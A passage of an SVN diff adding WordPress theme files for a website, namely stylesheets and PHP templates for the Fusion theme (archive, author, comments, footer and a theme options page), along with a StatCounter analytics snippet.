+/* misc ======================================= */
+	.clear-both { clear: both; }
+	.gap { height: 8px; }
+	.clear { clear: both; padding: 10px 0 0; }
+h2.pagetitle { font: 400 12px/18px Arial, Helvetica, sans-serif; }
+
+#content #comments .commentlist { clear: both; }
+#content #comments .commentlist ul { list-style: none; } 
+#content #comments .commentlist #respond { background-color: #fff; border: 1px solid #ccc; padding: 10px; margin-bottom: 5px; }
+#content #comments .commentlist ul li { border: 1px solid #ccc; padding: 10px; }
+.reply a { float: right; margin: -40px 0 0 0; font: 400 10px Arial, Helvetica, sans-serif; padding: 3px 6px; background-color: #fff; -moz-border-radius: 3px; border: 1px solid #ccc; }
+.reply a:hover { border: 1px solid #333; }
+code { font: 400 9px Tahoma, Arial, Helvetica, sans-serif; color: #666; }
+.vcard em { font-style: normal; padding-bottom: 10px; display: block; font-weight: 900; }
+.vcard small { font: 9px/9px Tahoma, Arial, Helvetica, sans-serif; color: #999; }
+#met { padding: 4px 10px; float: left; width: 578px; margin: 0 0 20px; }
+#met h3 { float: left; }
+#content #comments #met .meta-comment { float: right; margin-bottom: 0; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/wordpress.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/wordpress.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/wordpress.css	(revision 44)
@@ -0,0 +1,81 @@
+.aligncenter,
+div.aligncenter {
+   display: block;
+   margin-left: auto;
+   margin-right: auto;
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+}
+
+.alignleft {
+	float: left;
+   margin: 5px 5px 0 0;
+}
+
+.alignright {
+	float: right;
+   margin: 5px 0 0 5px;
+}
+
+img.alignleft {
+   float: left;
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+   margin: 5px 5px 0 0;
+}
+
+img.alignright {
+   float: right;
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+   margin: 5px 0 0 5px;
+}
+
+a img.attachment-thumbnail {
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+   margin: 0 0 5px 5px;
+   float: left;	
+}
+
+.wp-caption {
+   border: 1px solid #e0e0e0;
+   text-align: center;
+   background-color: #fff;
+   padding-top: 4px;
+}
+
+.wp-caption img {
+   margin: 0;
+   padding: 0;
+   border: 0 none;
+}
+
+.wp-caption p.wp-caption-text {
+   font-size: 11px;
+   line-height: 17px;
+   padding: 0 4px 5px;
+   margin: 0;
+   color: #666;
+   font-style: italic;
+}
+#switcher { padding: 0 0 20px 0; }
+#switcher a { float: right; text-indent: -9999em; height: 10px; width: 10px; margin: 0 0 0 20px; display: inline; border: 1px solid #111; }
+a#blue { background-color: #3b5998; }
+a#blue:hover { background-color: #09f; }
+a#pink { background-color: #f28cb5; }
+a#pink:hover { background-color: red; }
+a#green { background-color: #70983b; }
+a#green:hover { background-color: green; }
+a#purple { background-color: #c9f; }
+a#purple:hover { background-color: purple; }
+a#red{ background-color: #e95959; }
+a#red:hover { background-color: #740f0f; }
+
+a { outline: none; }
+
+blockquote { padding: 20px 20px 0; background-color: #f7f7f7; border: 1px solid #e0e0e0; margin: 0 auto 10px; width: 70%; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/404.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+  <!-- mid content -->
+  <div id="mid-content">
+
+ <h2 class="center"><?php _e('Page not found (404)','fusion'); ?></h2>
+
+</div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+    <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/archive.php	(revision 44)
@@ -0,0 +1,90 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+
+  <!-- mid content -->
+  <div id="mid-content">
+   <?php if (have_posts()) : ?>
+    <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+    <?php /* If this is a category archive */ if (is_category()) { ?>
+     <h1 class="pagetitle"><?php printf( __('Archive for category %s', 'fusion'), single_cat_title('', false)); ?></h1>
+    <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+     <h1 class="pagetitle"><?php printf( __('Posts Tagged %s', 'fusion'), single_cat_title('', false) ); ?></h1>
+    <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+     <h1 class="pagetitle"><?php  printf(__('Archive for %s', 'fusion'), get_the_time(__('F jS, Y','fusion')));  ?></h1>
+    <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+     <h1 class="pagetitle"><?php  printf(__('Archive for %s', 'fusion'), get_the_time(__('F, Y','fusion')));  ?></h1>
+    <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+     <h1 class="pagetitle"><?php  printf(__('Archive for %s', 'fusion'), get_the_time(__('Y','fusion')));  ?></h1>
+    <?php /* If this is an author archive */ } elseif (is_author()) { ?>
+     <h1 class="pagetitle"><?php _e('Author Archive','fusion'); ?></h1>
+    <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+     <h1 class="pagetitle"><?php _e('Blog Archives','fusion'); ?></h1>
+    <?php } ?>
+    <?php while (have_posts()) : the_post(); ?>
+      <!-- post -->
+      <?php if (function_exists("post_class")) { ?>
+      <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+      <?php } else { ?>
+      <div class="post" id="post-<?php the_ID(); ?>">
+      <?php } ?>
+        <h3><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php _e('Permanent Link:','fusion'); echo ' '; the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
+        <!-- story header -->
+        <div class="postheader">
+            <div class="postinfo">
+            <p>
+            <?php printf(__('Posted by %s in %s on %s','fusion'),'<a href="'. get_author_posts_url(get_the_author_ID()) .'" title="'. sprintf(__("Posts by %s","fusion"), attribute_escape(get_the_author())).' ">'. get_the_author() .'</a>',get_the_category_list(', '), get_the_time(__('F jS, Y','fusion'))); ?> <span class="editlink"><?php edit_post_link(''); ?></span></p>
+            </div>
+        </div>
+        <!-- /story header -->
+      <div class="postbody entry clearfix">
+      <?php the_content(__('Read the rest of this entry &raquo;', 'fusion')); ?>
+      </div>
+          <?php
+           $posttags = get_the_tags();
+           if ($posttags) { ?>
+            <p class="tags"><?php the_tags(''); ?></p>
+          <?php } ?>
+          <p class="postcontrols">
+            <?php
+            global $id, $comment;
+           $number = get_comments_number( $id );
+            ?>
+            <a class="<?php if($number<1) { echo 'no '; }?>comments" href="<?php comments_link(); ?>"><?php comments_number(__('No Comments','fusion'), __('1 Comment','fusion'), __('% Comments','fusion')); ?></a>
+          </p>
+          <div class="clear"></div>
+      </div>
+      <!-- /post -->
+    <?php endwhile; ?>
+
+    <div class="navigation" id="pagenavi">
+     <?php if(function_exists('wp_pagenavi')) : ?>
+      <?php wp_pagenavi() ?>
+    <?php else : ?>
+      <div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries','fusion')) ?></div>
+      <div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;','fusion')) ?></div>
+      <div class="clear"></div>
+    <?php endif; ?>
+    </div>
+   <?php else :
+    if ( is_category() ) { // If this is a category archive
+        ?> <h2> <?php printf(__("Sorry, but there aren't any posts in the %s category yet.", "fusion"),single_cat_title('',false)); ?> </h2> <?php
+    } else if ( is_date() ) { // If this is a date archive
+    	?> <h2> <?php _e("Sorry, but there aren't any posts with this date."); ?> </h2> <?php
+    } else if ( is_author() ) { // If this is a category archive
+    	$userdata = get_userdatabylogin(get_query_var('author_name'));
+    	?> <h2> <?php printf(__("Sorry, but there aren't any posts by %s yet.", "fusion"),$userdata->display_name); ?> </h2> <?php
+    } else {
+    	?> <h2> <?php _e('No posts found.'); ?> </h2> <?php
+    }
+    get_search_form();
+
+    endif;
+?>
+    </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+    <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/archives.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/archives.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/archives.php	(revision 44)
@@ -0,0 +1,25 @@
+<?php /* Fusion/digitalnature
+
+Template Name: Archives 
+*/ ?>
+<?php get_header(); ?>
+
+  <!-- mid content -->
+  <div id="mid-content">
+ <?php get_search_form(); ?>
+ <h2><?php _e('Archives by Month:','fusion'); ?></h2>
+ <ul>
+  <?php wp_get_archives('type=monthly'); ?>
+ </ul>
+ <h2><?php _e('Archives by Subject:','fusion'); ?></h2>
+  <ul>
+   <?php wp_list_categories(); ?>
+  </ul>
+  </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+    <?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/author.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/author.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/author.php	(revision 44)
@@ -0,0 +1,75 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+
+ <!-- mid content -->
+ <div id="mid-content">
+
+  <?php
+   // global $wp_query;
+   // $curauth = $wp_query->get_queried_object();
+
+   if(isset($_GET['author_name'])) : $curauth = get_userdatabylogin($author_name);
+    else : $curauth = get_userdata(intval($author));
+   endif;
+
+  ?>
+
+  <h1><?php echo $curauth->display_name; ?></h1>
+
+  <div class="profile">
+    <div class="avatar left"><?php echo get_avatar($curauth->user_email, '128', $avatar); ?></div>
+    <div class="info">
+    <p>
+    <?php
+     if($curauth->user_description<>''): echo $curauth->user_description;
+     else: _e("This user hasn't shared any biographical information","fusion");
+     endif;
+    ?>
+    </p>
+     <?php
+      if(($curauth->user_url<>'http://') && ($curauth->user_url<>'')) echo '<p class="im">'.__('Homepage:','fusion').' <a href="'.$curauth->user_url.'">'.$curauth->user_url.'</a></p>';
+      if($curauth->yim<>'') echo '<p class="im">'.__('Yahoo Messenger:','fusion').' <a class="im_yahoo" href="ymsgr:sendIM?'.$curauth->yim.'">'.$curauth->yim.'</a></p>';
+      if($curauth->jabber<>'') echo '<p class="im">'.__('Jabber/GTalk:','fusion').' <a class="im_jabber" href="gtalk:chat?jid='.$curauth->jabber.'">'.$curauth->jabber.'</a></p>';
+      if($curauth->aim<>'') echo '<p class="im">'.__('AIM:','fusion').' <a class="im_aim" href="aim:goIM?screenname='.$curauth->aim.'">'.$curauth->aim.'</a></p>';
+     ?>
+      <div class="clear"></div>
+    </div>
+    <div class="clear"></div>
+  </div>
+  <br />
+
+  <?php if (have_posts()): ?>
+  <h2 class="pagetitle"><?php printf(__('Posts by %s', 'fusion'), $curauth->display_name); ?></h2>
+  <?php while (have_posts()) : the_post(); ?>
+    <?php if (function_exists("post_class")) { ?>
+    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+    <?php } else { ?>
+    <div class="post" id="post-<?php the_ID(); ?>">
+    <?php } ?>
+  		<h3 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>
+        <small><?php the_time(__('l, F jS, Y','fusion')) ?></small>
+  		<p class="postmetadata"><?php the_tags(__('Tags: ','fusion'), ', ', '<br />'); ?> <?php printf(__('Posted in %s','fusion'), get_the_category_list(', '));?>  | <?php edit_post_link(__('Edit','fusion'), '', ' | '); ?>  <?php comments_popup_link(__('No Comments','fusion'), __('1 Comment','fusion'), __('% Comments','fusion')); ?></p>
+  	</div>
+        <?php endwhile; ?>
+  <div class="navigation" id="pagenavi">
+     	<?php if(function_exists('wp_pagenavi')) : ?>
+  <?php wp_pagenavi() ?>
+     	<?php else : ?>
+  	<div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries','fusion')) ?></div>
+  	<div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;','fusion')) ?></div>
+            <div class="clear"></div>
+        <?php endif; ?>
+  </div>
+  <?php else : ?>
+  <p class="error"><?php _e('No posts found by this author.','fusion'); ?></p>
+  <?php endif; ?>
+
+ </div>
+ <!-- mid content -->
+
+</div>
+<!-- /mid -->
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/comments.php	(revision 44)
@@ -0,0 +1,144 @@
+<?php /* Fusion/digitalnature */
+  $options = get_option('fusion_options');
+?>
+<?php if ( !empty($post->post_password) && $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) : ?>
+<p class="error"><?php _e('Enter your password to view comments','fusion'); ?></p>
+<?php return; endif; ?>
+<?php if ($comments || comments_open()) : ?>
+<?php
+  /* Count the totals */
+  $numPingBacks = 0;
+  $numComments  = 0;
+
+  /* Loop throught comments to count these totals */
+  foreach ($comments as $comment)
+    if (get_comment_type() != "comment") $numPingBacks++; else $numComments++;
+?>
+<div id="secondary-tabs">
+  <?php if(!$options['nojquery']) { ?>
+    <!-- comments and trackback tabs -->
+    <ul class="menu">
+      <li><a href="#tab-1"><span><span><?php _e('Comments','fusion'); echo ' ('.$numComments.')'; ?></span></span></a></li>
+      <li><a href="#tab-2"><span><span><?php _e('Trackbacks','fusion'); echo ' ('.$numPingBacks.')';?></span></span></a></li>
+    </ul>
+    <!-- /comments and trackback tabs -->
+  <?php } ?>
+  <!-- comments -->
+  <div id="tab-1">
+   <ol id="comments">
+    <?php
+      if ($numComments > 0) {
+
+      // for WordPress 2.7 or higher
+  	if (function_exists('wp_list_comments')) { wp_list_comments('type=comment&callback=list_comments');	}
+      else
+        { // for WordPress 2.6.3 or lower
+  	    foreach ($comments as $comment)
+    		  if($comment->comment_type != 'pingback' && $comment->comment_type != 'trackback') list_comments($comment, null, null);
+        }
+  	}
+      else { ?>
+  	  <li><?php _e('No comments yet.','fusion'); ?></li>
+  	<?php }	?>
+    </ol>
+    <?php
+      if (get_option('page_comments')) {
+       $comment_pages = paginate_comments_links('echo=0');
+      if ($comment_pages) { ?>
+       <div class="commentnavi">
+  	    <div class="commentpager">
+  	    	<?php echo $comment_pages; ?>
+  	    </div>
+       </div>
+      <?php
+  	  }
+  	 }
+      ?>
+    <?php
+    if (comments_open()) :
+     if (get_option('comment_registration') && !$user_ID ) { // If registration required and not logged in. ?>
+  	<div id="comment_login" class="messagebox">
+  	  <?php if (function_exists('wp_login_url')) $login_link = wp_login_url(); else $login_link = get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink()); ?>
+    	  <p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'fusion'), $login_link); ?></p>
+  	</div>
+
+     <?php } else { ?>
+
+      <div id="respond">
+      <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform" name="tcommentform">
+        <div class="cancel-comment-reply"><?php cancel_comment_reply_link(__('Cancel Reply','fusion')); ?></div>
+        <?php if ($user_ID) : ?>
+          <?php if (function_exists('wp_logout_url')) $logout_link = wp_logout_url(); else $logout_link = get_option('siteurl') . '/wp-login.php?action=logout';	?>
+      	  <p>
+           <?php
+            $login_link = get_option('siteurl')."/wp-admin/profile.php";
+            printf(__('Logged in as %s.', 'fusion'), '<a href="'.$login_link.'"><strong>'.$user_identity.'</strong></a>');
+           ?>
+           <a href="<?php echo $logout_link; ?>" title="<?php _e('Log out of this account', 'fusion'); ?>"><?php _e('Logout &raquo;', 'fusion'); ?></a>
+          </p>
+       	  <?php else : ?>
+  	      <?php if ($comment_author != "") : ?>
+  		  <p><?php printf(__('Welcome back <strong>%s</strong>.', 'fusion'), $comment_author) ?> <span id="show_author_info"><a href="javascript:void(0);" onclick="MGJS.setStyleDisplay('author_info','');MGJS.setStyleDisplay('show_author_info','none');MGJS.setStyleDisplay('hide_author_info','');"> <?php _e('Change &raquo;','fusion'); ?></a></span> <span id="hide_author_info"><a href="javascript:void(0);" onclick="MGJS.setStyleDisplay('author_info','none');MGJS.setStyleDisplay('show_author_info','');MGJS.setStyleDisplay('hide_author_info','none');"><?php _e('Close &raquo;','fusion'); ?></a></span></p>
+          <?php endif; ?>
+          <div id="author_info">
+            <div class="row">
+              <input type="text" name="author" id="author" class="textfield" value="<?php echo $comment_author; ?>" size="24" tabindex="1" />
+              <label for="author" class="small"><?php _e("Name","fusion"); ?> <?php if ($req) _e("(required)","fusion"); ?></label>
+            </div>
+            <div class="row">
+              <input type="text" name="email" id="email" class="textfield" value="<?php echo $comment_author_email; ?>" size="24" tabindex="2" />
+              <label for="email" class="small"><?php _e("E-Mail","fusion"); ?> <?php if ($req) _e("(required)","fusion"); ?></label> <em><?php _e("(will not be published)","fusion"); ?></em>
+            </div>
+            <div class="row">
+              <input type="text" name="url" id="url" class="textfield" value="<?php echo $comment_author_url; ?>" size="24" tabindex="3" />
+              <label for="url" class="small"><?php _e("Website","fusion"); ?></label>
+            </div>
+  		  </div>
+          <?php if ( $comment_author != "" ) : ?>
+  	   	  <script type="text/javascript">MGJS.setStyleDisplay('hide_author_info','none');MGJS.setStyleDisplay('author_info','none');</script>
+  	  	  <?php endif; ?>
+        <?php endif; ?>
+
+        <!-- comment input -->
+        <div class="row">
+        	<textarea name="comment" id="comment" tabindex="4" rows="8" cols="50"></textarea>
+        	<?php if (function_exists('highslide_emoticons')) : ?><div id="emoticon"><?php highslide_emoticons(); ?></div><?php endif; ?>
+        	<?php comment_id_fields();do_action('comment_form', $post->ID); ?>
+        </div>
+        <!-- /comment input -->
+
+        <!-- comment submit and rss -->
+        <div id="submitbox" class="left">
+         <span class="button submit"><a title="<?php _e("Submit Comment","fusion"); ?>" href="javascript:document.tcommentform.submit();"><span><span><?php _e("Submit Comment","fusion"); ?></span></span></a></span>
+         <input type="hidden" name="formInput" />
+        </div>
+        <div class="clear"></div>
+      </form>
+    </div>
+    <?php } ?>
+    <?php endif;  ?>
+  </div>
+  <!-- /comments -->
+
+  <?php if(!$options['nojquery']) { ?>
+  <!-- trackbacks -->
+  <div id="tab-2">
+    <ol id="trackbacks">
+     <?php
+      if ($numPingBacks > 0) wp_list_comments('type=pings&callback=list_pings'); else { ?>
+       <li><?php _e("No trackbacks yet.","fusion"); ?></li>
+     <?php } ?>
+    </ol>
+  </div>
+  <!-- /trackbacks -->
+  <?php } ?>
+
+</div>
+<?php endif; ?>
+
+<?php if (!comments_open()): // If comments are closed. ?>
+ <?php if (is_page() && (!$comments)):
+  else: ?>
+ <p><?php _e("Comments are closed.","fusion"); ?></p>
+ <?php endif; ?>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/footer.php	(revision 44)
@@ -0,0 +1,66 @@
+<?php /* Fusion/digitalnature */
+  $options = get_option('fusion_options');
+?>
+
+  </div>
+  <!-- /side wrap -->
+ </div>
+ <!-- /mid column wrap -->
+</div>
+<!-- /main wrapper -->
+
+<!-- clear main & sidebar sections -->
+<div class="clearcontent"></div>
+<!-- /clear main & sidebar sections -->
+
+<!-- footer -->
+ <div id="footer">
+   <!-- please do not remove this. respect the authors :) -->
+   <p>
+    <?php
+      //printf(__('Fusion theme by %s', 'fusion'), '<a href="http://digitalnature.ro/projects/fusion">digitalnature</a>');
+      //print ' | ';
+      //printf(__('powered by %s', 'fusion'), '<a href="http://wordpress.org/">WordPress</a>');
+    ?>
+    <br />
+   <a class="rss" href="<?php bloginfo('rss2_url'); ?>"><?php _e('Entries (RSS)','fusion'); ?></a> <?php _e('and','fusion');?> <a href="<?php bloginfo('comments_rss2_url'); ?>"><?php _e('Comments (RSS)','fusion'); ?></a> <a href="#" id="toplink">^</a>
+   <!-- <?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. -->
+   </p>
+ </div>
+ <!-- /footer -->
+ <?php if((!$options['nolayoutcontrol']) && (!$options['nojquery'])) { ?>
+ <div id="layoutcontrol">
+   <a href="javascript:void(0);" class="setFont" title="<?php _e('Increase/Decrease text size','fusion'); ?>"><span>SetTextSize</span></a>
+   <a href="javascript:void(0);" class="setLiquid" title="<?php _e('Switch between full and fixed width','fusion'); ?>"><span>SetPageWidth</span></a>
+ </div>
+ <?php } ?>
+</div>
+<!-- /page -->
+
+</div>
+</div>
+<!-- /page wrappers -->
+
+
+<?php wp_footer(); ?>
+
+
+<!-- Start of StatCounter Code -->
+<script type="text/javascript">
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script>
+
+<script type="text/javascript"
+src="http://www.statcounter.com/counter/counter.js"></script><noscript><div
+class="statcounter"><a title="website statistics"
+href="http://www.statcounter.com/" target="_blank"><img
+class="statcounter"
+src="http://c.statcounter.com/4711170/0/aab5f80b/1/"
+alt="website statistics" ></a></div></noscript>
+<!-- End of StatCounter Code -->
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/functions.php	(revision 44)
@@ -0,0 +1,260 @@
+<?php
+/* Fusion/digitalnature */
+
+function init_language(){
+	if (class_exists('xili_language')) {
+		define('THEME_TEXTDOMAIN','fusion');
+		define('THEME_LANGS_FOLDER','/lang');
+	} else {
+	   load_theme_textdomain('fusion', get_template_directory() . '/lang');
+	}
+}
+add_action ('init', 'init_language');
+
+// theme options
+class FusionOptions {
+	function getOptions() {
+		$options = get_option('fusion_options');
+		if (!is_array($options)) {
+			$options['metakeywords'] = '';
+			$options['logoimage'] = false;    
+			$options['hidehometab'] = false;
+			$options['hidecategories'] = false;
+			$options['hidesearch'] = false;
+			$options['categorytabs'] = false;
+			$options['layouttype'] = 'fixed';
+			$options['sidebarpos'] = 'right';
+			$options['nolayoutcontrol'] = false;
+			$options['nojquery'] = false;
+			$options['customcss'] = '';
+			update_option('fusion_options', $options);
+		}
+		return $options;
+	}
+
+	function add() {
+		if(isset($_POST['fusion_save'])) {
+			$options = FusionOptions::getOptions();
+
+			// meta keywords
+			$options['metakeywords'] = stripslashes($_POST['metakeywords']);
+
+			// logo image
+			if ($_POST['logoimage']) {	$options['logoimage'] = (bool)true;	} else { $options['logoimage'] = (bool)false; }
+			$options['logoimage'] = stripslashes($_POST['logoimage']);
+
+			// hide home tab
+			if ($_POST['hidehometab']) {  $options['hidehometab'] = (bool)true;	} else { $options['hidehometab'] = (bool)false; }
+			$options['hidehometab'] = stripslashes($_POST['hidehometab']);
+
+			// hide categories
+			if ($_POST['hidecategories']) {  $options['hidecategories'] = (bool)true;	} else { $options['hidecategories'] = (bool)false; }
+			$options['hidecategories'] = stripslashes($_POST['hidecategories']);
+
+			// hide search
+			if ($_POST['hidesearch']) {  $options['hidesearch'] = (bool)true;	} else { $options['hidesearch'] = (bool)false; }
+			$options['hidesearch'] = stripslashes($_POST['hidesearch']);
+
+			// show category tabs instead of page tabs
+			if ($_POST['categorytabs']) {  $options['categorytabs'] = (bool)true;	} else { $options['categorytabs'] = (bool)false; }
+			$options['categorytabs'] = stripslashes($_POST['categorytabs']);
+
+            // page width
+			$options['layouttype'] = stripslashes($_POST['layouttype']);
+
+            // page width
+			$options['sidebarpos'] = stripslashes($_POST['sidebarpos']);
+
+			// hide <>
+			if ($_POST['nolayoutcontrol']) {  $options['nolayoutcontrol'] = (bool)true;	} else { $options['nolayoutcontrol'] = (bool)false; }
+			$options['nolayoutcontrol'] = stripslashes($_POST['nolayoutcontrol']);
+
+			// disable jquery
+			if ($_POST['nojquery']) {  $options['nojquery'] = (bool)true;	} else { $options['nojquery'] = (bool)false; }
+			$options['nojquery'] = stripslashes($_POST['nojquery']);
+
+			// meta keywords
+			$options['customcss'] = stripslashes($_POST['customcss']);
+
+			update_option('fusion_options', $options);
+
+		} else {
+			FusionOptions::getOptions();
+		}
+
+		add_theme_page(__("Fusion Theme Options","fusion"), __("Fusion Theme Options","fusion"), 'edit_themes', basename(__FILE__), array('FusionOptions', 'display'));
+	}
+
+   function display() {
+   $options = FusionOptions::getOptions();
+    ?>
+      <form action="#" method="post" enctype="multipart/form-data" name="fusion_form" id="fusion_form">
+      <div class="wrap">
+            <h2><?php _e('Fusion Theme Options','fusion'); ?></h2>
+            <br />
+            <p>
+              <label><?php _e('Meta keywords:','fusion'); ?></label><br />
+            <input type="text" name="metakeywords" id="metakeywords" class="code" value="<?php echo($options['metakeywords']); ?>" /><br /><em><?php _e('Separate with commas','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <input name="logoimage" type="checkbox" value="checkbox" <?php if($options['logoimage']) echo "checked='checked'"; ?> />
+            <?php _e('Use custom logo image','fusion'); ?><br /><em> <?php _e('Upload your logo as "logo.png" in the theme directory:','fusion'); echo ' <strong>'; bloginfo('template_url'); echo '</strong>.<br />'; _e('You should export the logo image with transparency enabled','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <input name="hidehometab" type="checkbox" value="checkbox" <?php if($options['hidehometab']) echo "checked='checked'"; ?> />
+            <?php _e('Disable homepage tab','fusion'); ?><br /><em><?php _e('Check this if you are using a static page as the homepage','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <input name="categorytabs" type="checkbox" value="checkbox" <?php if($options['categorytabs']) echo "checked='checked'"; ?> />
+            <?php _e('Show the categories as header tabs','fusion'); ?><br /><em><?php _e('(instead of pages)','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <input name="hidecategories" type="checkbox" value="checkbox" <?php if($options['hidecategories']) echo "checked='checked'"; ?> />
+            <?php _e('Disable the default category block in the sidebar','fusion'); ?><br /><em><?php _e('Check if you prefer the widgetized category display or just want to hide the categories','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <input name="hidesearch" type="checkbox" value="checkbox" <?php if($options['hidesearch']) echo "checked='checked'"; ?> />
+            <?php _e('Disable the default search block in the sidebar','fusion'); ?><br /><em><?php _e('Check if you don\'t like the theme-default search look','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <input name="nolayoutcontrol" type="checkbox" value="checkbox" <?php if($options['nolayoutcontrol']) echo "checked='checked'"; ?> />
+            <?php _e('Disable layout controls (Aa/<>)','fusion'); ?>
+            <br />
+            <?php _e('Default page content width:','fusion'); ?>
+            <label>
+            <input name="layouttype" type="radio" value="fixed" <?php if($options['layouttype'] != 'fluid') echo "checked='checked'"; ?> />
+            <?php _e('Fixed (960 pixels)','fusion'); ?>
+            </label>
+            <label style="padding-left: 15px;">
+            <input name="layouttype" type="radio" value="fluid" <?php if($options['layouttype'] == 'fluid') echo "checked='checked'"; ?> />
+            <?php _e('Fluid (95 percent of the visitor\'s screen width)','fusion'); ?>
+            </label><br /><em><?php _e('Note that if the layout controls are enabled, the visitor\'s javascript page width cookie setting will override this option','fusion'); ?></em>
+            </p>
+            <br />
+            <p>
+            <?php _e('Sidebar position:','fusion'); ?>
+            <label>
+            <input name="sidebarpos" type="radio" value="right" <?php if($options['sidebarpos'] != 'left') echo "checked='checked'"; ?> />
+            <?php _e('Right (default)','fusion'); ?>
+            </label>
+            <label style="padding-left: 15px;">
+            <input name="sidebarpos" type="radio" value="left" <?php if($options['sidebarpos'] == 'left') echo "checked='checked'"; ?> />
+            <?php _e('Left','fusion'); ?>
+            </label>
+            </p>
+            <br />
+            <p>
+            <input name="nojquery" type="checkbox" value="checkbox" <?php if($options['nojquery']) echo "checked='checked'"; ?> />
+            <?php _e('Disable jQuery and the associated code','fusion'); ?><br /><em><?php _e('This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn\'t change this unless you have problems with your host regarding bandwidth','fusion'); ?></em>
+            </p>
+            <br />
+            <h2><?php _e('Custom CSS code','fusion'); ?></h2>
+            <p style="float:left; padding-right: 10px; width: 300px;"><em><?php printf(__('Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here.','fusion'),'<a href="'.get_bloginfo('template_url').'/style.css">style.css</a>'); ?></em> <?php echo'<br /><br /><em style="color: #ed1f24">';_e('Don\'t modify style.css if you wish to preserve your changes after theme update! Use this option instead.','fusion');echo '</em><br /><br />'?>
+            <textarea name="customcss" id="customcss" class="code" style='float: left' rows="18" cols="38"><?php echo($options['customcss']); ?></textarea>
+            </p>
+            <div style="float: left; margin-left: 6px; border-left: 1px solid #DCDCDC; padding-left: 6px;">
+              <p><strong>Examples</strong> (copy/paste in the left text area):</p>
+              <p><em style="color: #5db408">/* Set maximum page width to 1200 pixels (on fluid layout) */</em><br /><code>#page{ max-width: 1200px; }</code></p>
+              <p><em style="color: #5db408">/* Make links red, without background on mouse over */</em><br /><code>a, a:hover{ color: #ed1f24; }<br />a:hover{ background: none; }</code></p>
